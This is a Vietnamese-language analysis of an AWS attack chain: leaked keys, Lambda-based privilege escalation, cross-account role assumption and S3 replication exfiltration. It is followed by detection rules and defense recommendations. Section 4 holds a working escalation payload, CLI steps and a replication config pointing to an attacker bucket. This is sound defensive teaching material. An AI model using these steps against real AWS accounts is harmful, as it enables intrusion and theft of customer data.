Phân Tích Kịch Bản Tấn Công Cloud & Khuyến Nghị Phòng Thủ

Phân tích chuyên sâu kịch bản tấn công AWS Cross-Account Privilege Escalationkết hợp với S3 Data Exfiltration— một trong những chuỗi tấn công phổ biến và nguy hiểm nhất trong môi trường Cloud hiện đại.

Phân loại:: Cloud Security Incident Analysis
MITRE ATT&CK:: IaaS | AWS
Mức độ:: CRITICAL
Framework:: MITRE ATT&CK for Cloud v14

01 — Executive Summary

Tổng quan mối đe dọa

Trong bối cảnh doanh nghiệp đẩy mạnh chuyển đổi số và di chuyển hạ tầng lên Cloud, các cuộc tấn công nhắm mục tiêu vào môi trường AWS, Azure, và GCP đang gia tăng mạnh mẽ về cả số lượng lẫn mức độ tinh vi. Báo cáo này phân tích một kịch bản thực tế điển hình: kẻ tấn công khai thác IAM misconfiguration để leo thang đặc quyền xuyên tài khoản, sau đó tiến hành đánh cắp dữ liệu quy mô lớn từ S3.

Kịch bản này không phải lý thuyết — nó phản ánh chính xác những gì đã xảy ra với Capital One (2019, 100M+ bản ghi), Twitch (2021), và hàng chục vụ vi phạm dữ liệu Cloud khác trong những năm gần đây.

Chỉ số	Giá trị
Mức độ rủi ro	CRITICAL
Thời gian tấn công	4–8 giờ
Kỹ thuật MITRE	12 TTPs
Véc-tơ ban đầu	IAM + SSRF

[!NOTE] Điểm mấu chốt cần hiểu

Trong tấn công Cloud hiện đại,dữ liệu không bao giờ bị "hack" theo nghĩa phá vỡ mật mã — kẻ tấn công đơn giản là xác thực hợp lệvới API của nhà cung cấp Cloud bằng thông tin xác thực bị đánh cắp. Đây chính là lý do tại sao phòng thủ dựa hoàn toàn vào tường lửa mạng truyền thống sẽ thất bại hoàn toàn..

02 — Threat Actor & Context

Hồ sơ kẻ tấn công & bối cảnh

Mục tiêu giả định

Nạn nhân: Công ty fintech quy mô vừa (~500 nhân viên) đang vận hành trên AWS, sử dụng nhiều tài khoản AWS theo mô hình multi-account (Dev, Staging, Production, Data Lake). Dữ liệu nhạy cảm bao gồm: thông tin KYC khách hàng, lịch sử giao dịch, và tài liệu nội bộ.

Hồ sơ kẻ tấn công

Nhóm tấn công thuộc phân loại APT-for-hire / financially motivated — có năng lực kỹ thuật cao, am hiểu sâu về AWS internals, không gấp rút, sẵn sàng dành 2–4 tuần trinh sát trước khi ra tay. Họ không cần khai thác zero-day — IAM misconfiguration và exposed credentials là đủ.

Thuộc tính	Mô tả	Mức độ
Động cơ	Tài chính — bán dữ liệu hoặc tống tiền	Critical
Năng lực kỹ thuật	Cao — thành thạo AWS CLI, Pacu, ScoutSuite	High
Thời gian đầu tư	2–6 tuần từ trinh sát đến exfiltration	High
Vết để lại	Rất ít — dùng AWS API calls hợp lệ, không cài malware	Critical

03 — Attack Kill Chain

Chuỗi tấn công chi tiết theo MITRE ATT&CK

Dưới đây là toàn bộ chuỗi tấn công được tái dựng từ góc nhìn của kẻ tấn công, ánh xạ với MITRE ATT&CK for Cloud framework. Mỗi bước đều dựa trên kỹ thuật đã được ghi nhận trong các vụ tấn công thực tế.

PHASE 01 — RECONNAISSANCE

T1591 / T1596

Thu thập thông tin từ nguồn công khai (OSINT)

Kẻ tấn công bắt đầu bằng việc quét GitHub/GitLab công khai để tìm AWS credentials bị commit nhầm. Sử dụng công cụ như truffleHog , gitleaks để quét toàn bộ lịch sử commit. Đồng thời scan các job posting của công ty để xác định stack công nghệ (AWS, Terraform, Python). LinkedIn mining để lập danh sách email nhân viên DevOps/Cloud.

PHASE 02 — INITIAL ACCESS

T1552.001 / T1078.004

Khai thác AWS Access Key bị lộ trong GitHub repository

Phát hiện một commit cũ (6 tháng trước) trong repo private bị public nhầm chứa hardcoded AWS credentials của developer account. Key này chưa bị rotate vì developer không hay biết. Kẻ tấn công xác nhận key còn hiệu lực qua aws sts get-caller-identity . Account này là IAM user với quyền Developer trong môi trường Staging.

PHASE 03 — DISCOVERY

T1526 / T1580

Liệt kê hạ tầng và lập bản đồ môi trường AWS

Sử dụng aws iam list-roles , aws iam list-policies để lập danh sách toàn bộ IAM roles. Chạy ScoutSuite để audit toàn bộ cấu hình, phát hiện S3 buckets, EC2 instances, Lambda functions. Phát hiện một IAM role có policy iam:PassRole và sts:AssumeRole quá rộng. Xác định cấu trúc multi-account và trust relationships giữa các AWS accounts.

PHASE 04 — PRIVILEGE ESCALATION

T1548 / T1078.004

Leo thang đặc quyền qua IAM misconfiguration

Phát hiện Lambda execution role có permission iam:AttachUserPolicy và iam:CreatePolicy . Kẻ tấn công tạo Lambda function mới, invoke nó để gắn policy AdministratorAccess vào IAM user của mình. Sau khi có quyền Admin trong Staging, tìm thấy cross-account trust policy cho phép assume role sang Production account. Trong vòng 45 phút, kẻ tấn công đã có AdministratorAccess vào Production AWS account.

PHASE 05 — DEFENSE EVASION

T1562.008 / T1070

Vô hiệu hóa giám sát và xóa dấu vết

Dừng CloudTrail logging tạm thời, xóa EventBridge rules có liên quan đến alerting. Tạo IAM user phụ với tên ngẫu nhiên trông như service account hợp lệ — đây là backdoor. Tạo Access Key mới cho backdoor account. Bật lại CloudTrail để tránh alert "CloudTrail stopped". Toàn bộ thao tác thực hiện từ IP thuộc dải của một cloud provider khác (để trông như AWS-to-AWS traffic).

PHASE 06 — LATERAL MOVEMENT

T1550.001 / T1021.007

Di chuyển sang Data Lake account và khám phá tài sản

Assume role sang Data Lake AWS account qua trust relationship. Liệt kê toàn bộ S3 buckets: phát hiện bucket prod-customer-data-lake chứa 47GB dữ liệu KYC không được mã hóa ở server-side (SSE bị tắt để "tối ưu performance"). Phát hiện Glue Data Catalog với schema toàn bộ bảng dữ liệu. Truy cập RDS snapshot được share cross-account — lấy được dump database production.

PHASE 07 — EXFILTRATION

T1537 / T1530

Đánh cắp dữ liệu qua S3 Replication sang tài khoản attacker

Thay vì download trực tiếp (sẽ để lại data transfer log bất thường), kẻ tấn công bật S3 Cross-Region Replication sang một bucket trong AWS account của họ — dữ liệu tự động copy sang mà không tạo GetObject API calls lớn. Đồng thời sử dụng aws s3 sync từ EC2 instance bên trong VPC (để traffic trông như internal). 47GB dữ liệu được exfiltrate trong ~3 giờ mà không trigger bất kỳ cost anomaly alert nào.

Timeline tấn công thực tế

T+0h — AWS credentials được xác nhận hợp lệ Kẻ tấn công gọists:GetCallerIdentity— không alert nào được trigger
T+0.5h — Discovery & enumeration hoàn tất ScoutSuite report được tạo, phát hiện IAM misconfiguration quan trọng
T+1.5h — Privilege escalation thành công — AdministratorAccess đạt được Lambda-based privilege escalation — không cần exploit, chỉ dùng IAM API calls hợp lệ
T+2h — Backdoor IAM user được tạo, CloudTrail bị manipulate Defense evasion hoàn tất — team SOC vẫn chưa có alert nào
T+3h — Production & Data Lake account bị xâm nhập hoàn toàn Cross-account role assumption thành công, toàn bộ dữ liệu được lập bản đồ
T+6h — 47GB dữ liệu khách hàng được exfiltrate hoàn toàn S3 Replication hoàn tất. Phát hiện đầu tiên chỉ xảy ra T+72h sau, khi AWS gửi cost alert

04 — Technical Deep Dive

Kỹ thuật tấn công — Phân tích chi tiết

4.1 — Lambda-based Privilege Escalation

Đây là một trong những kỹ thuật leo thang đặc quyền phổ biến nhất trên AWS, hoạt động khi IAM user có quyền lambda:CreateFunction , lambda:InvokeFunction , và iam:PassRole .

ATTACK TECHNIQUE: T1548 — Abuse Elevation Control Mechanism

# Attacker uploads this as Lambda function code
# Lambda execution role has iam:AttachUserPolicy permission

import boto3

def lambda_handler(event, context):
    iam = boto3.client('iam')
    
    # Gắn AdministratorAccess vào IAM user của attacker
    iam.attach_user_policy(
        UserName='dev-user-compromised',  # username của attacker
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    
    return {'status': 'escalation_complete'}

ATTACK STEPS — Thực thi từ attacker's machine

# Bước 1: Tạo Lambda function với role bị misconfigure
aws lambda create-function \
    --function-name legitimate-looking-util \
    --runtime python3.11 \
    --role arn:aws:iam::123456789:role/LambdaExecutionRole-Misconfigured \
    --handler payload.lambda_handler \
    --zip-file fileb://payload.zip

# Bước 2: Invoke Lambda — policy được attach cho attacker's user
aws lambda invoke \
    --function-name legitimate-looking-util \
    --payload '{"action": "escalate"}' \
    output.json

# Bước 3: Xác nhận đã có AdministratorAccess
aws iam list-attached-user-policies \
    --user-name dev-user-compromised

# Bước 4: Cross-account assume role sang Production
aws sts assume-role \
    --role-arn arn:aws:iam::999888777:role/CrossAccountAdminRole \
    --role-session-name legitimate-session-name

[!NOTE] Tại sao kỹ thuật này nguy hiểm?

Toàn bộ các API calls trên đều là hợp lệ về mặt kỹ thuật. CloudTrail sẽ ghi lại nhưng không tự động alert. Không có malware, không có exploit — chỉ là IAM API. Đây chính xác là lý do tại sao"detect by signature"không hoạt động trong Cloud environments..

4.2 — Silent S3 Exfiltration via Cross-Region Replication

Thay vì download trực tiếp (tạo ra GetObject calls với volume bất thường), kẻ tấn công cấu hình S3 Replication — AWS sẽ tự động copy toàn bộ dữ liệu sang bucket của attacker mà không tạo ra bất kỳ bất thường nào trong cost hoặc bandwidth metrics thông thường.

ATTACK TECHNIQUE: T1537 — Transfer Data to Cloud Account

{
  "Role": "arn:aws:iam::123456789:role/s3-replication-role",
  "Rules": [{
    "Status": "Enabled",
    "Filter": {"Prefix": ""},  // Replicates EVERYTHING
    "Destination": {
      "Bucket": "arn:aws:s3:::attacker-exfil-bucket-us-east-1",
      "Account": "444333222111"  // Attacker's AWS account
    }
  }]
}

05 — Impact Assessment

Đánh giá tác động

Lĩnh vực tác động	Mô tả cụ thể	Mức độ
Dữ liệu khách hàng	100,000+ bản ghi KYC bị lộ: họ tên, CMND/Hộ chiếu, địa chỉ, số tài khoản	Critical
Tuân thủ pháp lý	Vi phạm GDPR, PDPA, Thông tư 09/2020 NHNN — nguy cơ phạt 2-4% doanh thu toàn cầu	Critical
Danh tiếng thương hiệu	Mất tin tưởng từ khách hàng, đối tác và nhà đầu tư — thiệt hại dài hạn	Critical
Tài chính trực tiếp	Chi phí incident response, forensics, thông báo vi phạm dữ liệu: ~$500K–$2M	High
Gián đoạn hoạt động	Freeze toàn bộ môi trường AWS để điều tra: downtime 24–72 giờ	High
Bí mật kinh doanh	Source code, chiến lược sản phẩm, thông tin đối tác bị lộ qua RDS dump	Medium

06 — Detection Engineering

Quy tắc phát hiện tấn công

Dưới đây là các detection rules được thiết kế để phát hiện từng giai đoạn của cuộc tấn công, sử dụng AWS CloudTrail logs với SIEM (Splunk/Elastic/Chronicle).

RULE-001: Lambda Privilege Escalation via IAM Policy Attachment

TACTIC: PrivEsc | T1548

// Splunk SPL Query
index=cloudtrail eventSource=lambda.amazonaws.com
    (eventName=CreateFunction OR eventName=InvokeFunction)
| join userIdentity.arn [
    search index=cloudtrail eventSource=iam.amazonaws.com
    eventName=AttachUserPolicy
    requestParameters.policyArn="*AdministratorAccess*"
]
| where _time > relative_time(now(), "-1h")
| alert severity=CRITICAL

RULE-002: Cross-Account Role Assumption from Unexpected Source

TACTIC: Lateral Movement | T1550.001

// AWS CloudWatch Metric Filter + Alarm
{
  "filterPattern": "{ ($.eventName = AssumeRole) &&
    ($.userIdentity.type = IAMUser) &&
    ($.requestParameters.roleArn = *PROD-ACCOUNT-ID*) &&
    ($.userIdentity.accountId != *TRUSTED-ACCOUNT-ID*) }",
  "metricName": "UnauthorizedCrossAccountAssumeRole",
  "threshold": 1,
  "alarmAction": "SNS:SecurityAlerts"
}

RULE-003: S3 Replication to External Account — Data Exfiltration Signal

TACTIC: Exfiltration | T1537

// EventBridge Rule + Lambda Remediation
{
  "source": ["aws.s3"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventName": ["PutBucketReplication"],
    "requestParameters": {
      "replicationConfiguration": {
        "rule": {
          "destination": {
            "account": [{ "anything-but": ["TRUSTED-ACCOUNT-1", "TRUSTED-ACCOUNT-2"] }]
          }
        }
      }
    }
  }
}
// → Trigger Lambda to: delete replication config + suspend IAM user + page SOC

RULE-004: CloudTrail Stopped or Deleted — Defense Evasion

TACTIC: Defense Evasion | T1562.008

// AWS Config Rule (managed): cloudtrail-enabled
// Custom CloudWatch Alert on CloudTrail API calls:
{
  "filterPattern": "{ ($.eventName = StopLogging) ||
    ($.eventName = DeleteTrail) ||
    ($.eventName = UpdateTrail) ||
    ($.eventName = PutEventSelectors) }",
  "threshold": 1,
  "alarmAction": "IMMEDIATE_PAGE_TO_ONCALL",
  "evaluationPeriods": 1,
  "period": 60
}

07 — Defense Recommendations

Khuyến nghị phòng thủ toàn diện

Phòng thủ hiệu quả chống lại kịch bản tấn công này đòi hỏi cách tiếp cận Defense in Depth — nhiều lớp kiểm soát độc lập, không phụ thuộc vào bất kỳ lớp đơn nào.

IAM Hardening (Ưu tiên #1)

Áp dụng nguyên tắc Least Privilege — không một IAM user nào có quyền AdministratorAccess trong production
Bật AWS IAM Access Analyzer để phát hiện over-permissive policies tự động
Chặn iam:PassRole , iam:AttachUserPolicy , iam:CreatePolicyVersion trừ khi thực sự cần thiết
Dùng IAM Permission Boundaries để giới hạn tối đa quyền mà role có thể cấp lại cho người khác
Enforce MFA cho mọi IAM action có tác động cao qua Condition trong policy
Rotate Access Keys tự động mỗi 90 ngày — sử dụng AWS Secrets Manager

Network & Perimeter Controls

Không bao giờ expose metadata endpoint IMDSv1 — bắt buộc IMDSv2 trên toàn bộ EC2
Sử dụng AWS PrivateLink cho internal service communication — không đi qua internet
Triển khai VPC Endpoint cho S3, KMS, SSM — API calls không ra internet
Áp dụng S3 Block Public Access ở cấp Organization (AWS Organizations SCP)
WAF rules chặn SSRF patterns trước khi reach EC2 metadata service

Detection & Monitoring

Bật AWS GuardDuty ở tất cả regions và tất cả accounts trong Organization — không tốn công cấu hình
Tích hợp CloudTrail → SIEM với retention tối thiểu 1 năm
Tạo baseline cho IAM activity — alert khi deviation từ normal behavior
AWS Security Hub để aggregate findings từ GuardDuty, Inspector, Config, Macie
Enable S3 Server Access Logging và S3 Data Events in CloudTrail
Alert ngay lập tức khi có AssumeRole từ tài khoản không nằm trong whitelist

Data Protection

Mã hóa tất cả S3 buckets với SSE-KMS (không phải SSE-S3) — kiểm soát key access qua KMS policy
Bật AWS Macie để tự động phát hiện sensitive data (PII, credentials) trong S3
Cấu hình S3 Object Lock cho compliance data — ngăn xóa hoặc override
Implement S3 Replication deny policy — chỉ allow replication đến trusted accounts
Sử dụng KMS Key Policy để từ chối decrypt requests từ ngoài VPC

DevSecOps & Secrets Management

Tích hợp git-secrets hoặc pre-commit hooks — chặn commit credentials vào Git từ đầu
Quét toàn bộ lịch sử Git với truffleHog ngay hôm nay
Thay thế hardcoded credentials bằng IAM Roles cho EC2/Lambda/ECS — không bao giờ dùng Access Key trên infrastructure
AWS Secrets Manager với automatic rotation cho database passwords, API keys
Scan IaC (Terraform/CloudFormation) với Checkov hoặc tfsec trong CI/CD pipeline
Developer training về Cloud Security — nhận thức là lớp phòng thủ đầu tiên

Incident Response Readiness

Xây dựng Cloud IR Playbook riêng cho AWS — khác hoàn toàn với on-prem IR
Chuẩn bị Break-glass account với quyền tối thiểu để respond khi tài khoản chính bị compromise
Thực hành GameDay / Purple Team exercises ít nhất mỗi quý
Có sẵn AWS Support Enterprise với AWS Security Incident Response team contact
Lập danh sách tất cả IAM users, roles, keys cần revoke ngay khi phát hiện incident

08 — Implementation Roadmap

Lộ trình triển khai theo thứ tự ưu tiên

Không phải tất cả các khuyến nghị đều cần triển khai cùng lúc. Dưới đây là thứ tự ưu tiên dựa trên tỷ lệ risk reduction / implementation effort — triển khai những gì giảm rủi ro nhiều nhất trước.

✅ Bật AWS GuardDuty — Nỗ lực: Thấp
✅ Enable CloudTrail + SIEM — Nỗ lực: Thấp
✅ Scan Git repos (truffleHog) — Nỗ lực: Thấp
✅ Bắt buộc IMDSv2 toàn bộ EC2 — Nỗ lực: Thấp
⚙ IAM least privilege audit — Nỗ lực: Trung bình
⚙ Encrypt S3 với SSE-KMS — Nỗ lực: Trung bình
⚙ AWS Macie cho sensitive data discovery — Nỗ lực: Trung bình
🔧 Triển khai IAM Permission Boundaries — Nỗ lực: Cao
🔧 Migrate sang IAM Roles — loại bỏ Access Keys — Nỗ lực: Cao
🔧 Cloud IR Playbook + Purple Team — Nỗ lực: Cao

[!NOTE] Quick Wins — Triển khai trong 48 giờ đầu tiên

3 hành động có thể thực hiện ngay hôm nay với zero downtime và chi phí tối thiểu: (1) Bật GuardDuty ở tất cả regions, (2) Chạy truffleHog scan toàn bộ Git repos, (3) Enable IMDSv2 mandatory qua EC2 Instance Metadata Service configuration. Ba bước này sẽ ngăn chặn hoặc phát hiện sớm phần lớn các vector tấn công đã mô tả..

[!NOTE] Tài nguyên tham khảo quan trọng

AWS Security Best Practices:docs.aws.amazon.com/security —MITRE ATT&CK for Cloud:attack.mitre.org/matrices/enterprise/cloud —Rhino Security Labs AWS PrivEsc:github.com/RhinoSecurityLabs/pacu —CloudSplaining (IAM auditor):github.com/salesforce/cloudsplaining —AWS Well-Architected Security Pillar:aws.amazon.com/architecture/well-architected.

Phân tích dựa trên kỹ thuật tấn công đã ghi nhận thực tế — Capital One 2019, Twitch 2021, các vụ AWS IAM PrivEsc

Command Palette